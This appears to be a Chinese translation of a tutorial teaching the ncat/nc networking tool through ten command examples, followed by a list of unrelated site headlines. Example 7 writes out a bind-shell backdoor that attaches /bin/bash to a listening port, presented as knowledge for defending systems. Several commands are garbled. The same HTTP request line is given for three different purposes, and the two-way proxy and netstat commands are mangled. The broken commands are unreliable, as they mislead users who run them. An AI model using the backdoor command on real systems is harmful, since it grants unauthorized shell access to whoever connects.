ncat或者说nc是一款功能类似cat的工具,但是是用于网络的。它是一款拥有多种功能的 cli 工具,可以用来在网络上读、写以及重定向数据。 它被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。
ncat/nc既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 tcp 代理。 由于有这么多的功能,它被誉为是网络界的瑞士军刀。 这是每个系统管理员都应该知道并且掌握它。
在大多数 debian 发行版中,nc是默认可用的,它会在安装系统的过程中自动被安装。 但是在 centos 7 / rhel 7 的最小化安装中,nc并不会默认被安装。 你需要用下列命令手工安装。
[root@linuxtechi ~]# yum install nmap-ncat -y
系统管理员可以用它来审计系统安全,用它来找出开放的端口然后保护这些端口。管理员还能用它作为客户端来审计 web 服务器、telnet 服务器、邮件服务器等, 通过nc我们可以控制发送的每个字符,也可以查看对方的回应。
我们还可以用它捕获客户端发送的数据以此来了解这些客户端是做什么的。
在本文中,我们会通过 10 个例子来学习如何使用nc命令。
例子: 1) 监听入站连接
通过-l选项,ncat可以进入监听模式,使我们可以在指定端口监听入站连接。 完整的命令是这样的:
$ ncat -l port_number
比如,
$ ncat -l 8080
服务器就会开始在 8080 端口监听入站连接。
例子: 2) 连接远程系统
使用下面命令可以用nc来连接远程系统,
$ ncat ip_address port_number
让我们来看个例子,
$ ncat 192.168.1.100 80
这会创建一个连接,连接到 ip 为 192.168.1.100 的服务器上的 80 端口,然后我们就可以向服务器发送指令了。 比如我们可以输入下面内容来获取完整的网页内容
get / http/1.1
或者获取页面名称,
get / http/1.1
或者我们可以通过以下方式获得操作系统指纹标识,
get / http/1.1
这会告诉我们使用的是什么软件来运行这个 web 服务器的。
例子: 3) 连接 udp 端口
默认情况下,nc创建连接时只会连接 tcp 端口。 不过我们可以使用-u选项来连接到 udp 端口,
$ ncat -l -u 1234
现在我们的系统会开始监听 udp 的 1234 端口,我们可以使用下面的netstat命令来验证这一点,
$netstat -tunlp | grep1234
udp 000.0.0.0:1234 0.0.0.0:* 17341/nc
udp600 :::1234:::*
假设我们想发送或者说测试某个远程主机 udp 端口的连通性,我们可以使用下面命令,
$ ncat -v -u {host-ip} {udp-port}
比如:
[root@localhost ~]# ncat -v -u 192.168.105.150 53
ncat: version6.40(http://nmap.org/ncat )
ncat: connected to192.168.105.150:53。
例子: 4) 将nc作为聊天工具
nc也可以作为聊天工具来用,我们可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。 在服务器这端运行:
$ ncat -l 8080
在远程客户端主机上运行:
$ ncat 192.168.1.100 8080
之后开始发送消息,这些消息会在服务器终端上显示出来。
例子: 5) 将nc作为代理
nc也可以用来做代理。比如下面这个例子,
$ ncat -l 8080 | ncat 192.168.1.200 80
所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点:
$mkfifo2way
$ncat -l808002way
现在你可以通过nc代理来收发数据了。
例子: 6) 使用nc拷贝文件
nc还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了ssh/scp。 不过如果你恰好遇见个没有ssh/scp的系统的话, 你可以用nc来作最后的努力。
在要接受数据的机器上启动nc并让它进入监听模式:
$ ncat -l8080 > file.txt
现在去要被拷贝数据的机器上运行下面命令:
$ ncat 192.168.1.100 8080 --send-only < data.txt
这里,data.txt是要发送的文件。-–send-only选项会在文件拷贝完后立即关闭连接。 如果不加该选项, 我们需要手工按下ctrl+c来关闭连接。
我们也可以用这种方法拷贝整个磁盘分区,不过请一定要小心。
例子: 7) 通过nc创建后门
nc命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。 为了保护我们的系统,我们需要知道它是怎么做的。 创建后门的命令为:
$ ncat -l 10000 -e /bin/bash
-e标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限:
$ ncat 192.168.1.100 10000
例子: 8) 通过nc进行端口转发
我们通过选项-c来用nc进行端口转发,实现端口转发的语法为:
$ ncat -u -l80 -c'ncat -u -l 8080'
这样,所有连接到 80 端口的连接都会转发到 8080 端口。
例子: 9) 设置连接超时
nc的监听模式会一直运行,直到手工终止。 不过我们可以通过选项-w设置超时时间:
$ ncat -w 10 192.168.1.100 8080
这回导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。
例子: 10) 使用-k选项强制nc待命
当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项-k我们可以强制服务器保持连接并继续监听端口。 命令如下:
$ ncat -l -k 8080
现在即使来自客户端的连接断了也依然会处于待命状态。
中国商飞人工智能创新中心在北京正式揭牌成立
傅里叶变换红外光谱仪微型化研究取得了突出进展
中国电信2019年1月份运营数据整体情况报告
74477825国产替换供应商-伍尔特WE-PD 7332贴片电感替代
区块链技术将用于世界上第一个职业梦幻足球联盟
通过 10 个例子来学习如何使用 nc 命令
水下机器人研究相继开始,目前已经进入智能水下机器人时代
摩托罗拉新机Moto G Play(2021)曝光:内存仅3GB
硅抛光片生产工艺流程与光刻的基本流程
华为手机超好用的FNC功能
现代智慧供应链推动传统物资管理的数字化转型
韩国技术人才流向中国 起诉外国人技术泄密
台积电受惠于7nm制程的强劲需求 明年将迎过百客户
IoT和工业4.0的大浪潮下,为什么说MCU是核心支柱
RTOS在STM32中的应用
博通公司推出混合无头视频网关SoC 推动IP和QAM视频网络融合
24小时在线扬尘监测系统的详细参数以及应用领域详解
ARM携手eyeSight 未来手机将整合手势识别
黑鲨双翼手柄及蓝牙耳机体验 为游戏定制而生
设想人工智能和气计算高度发达的未来世界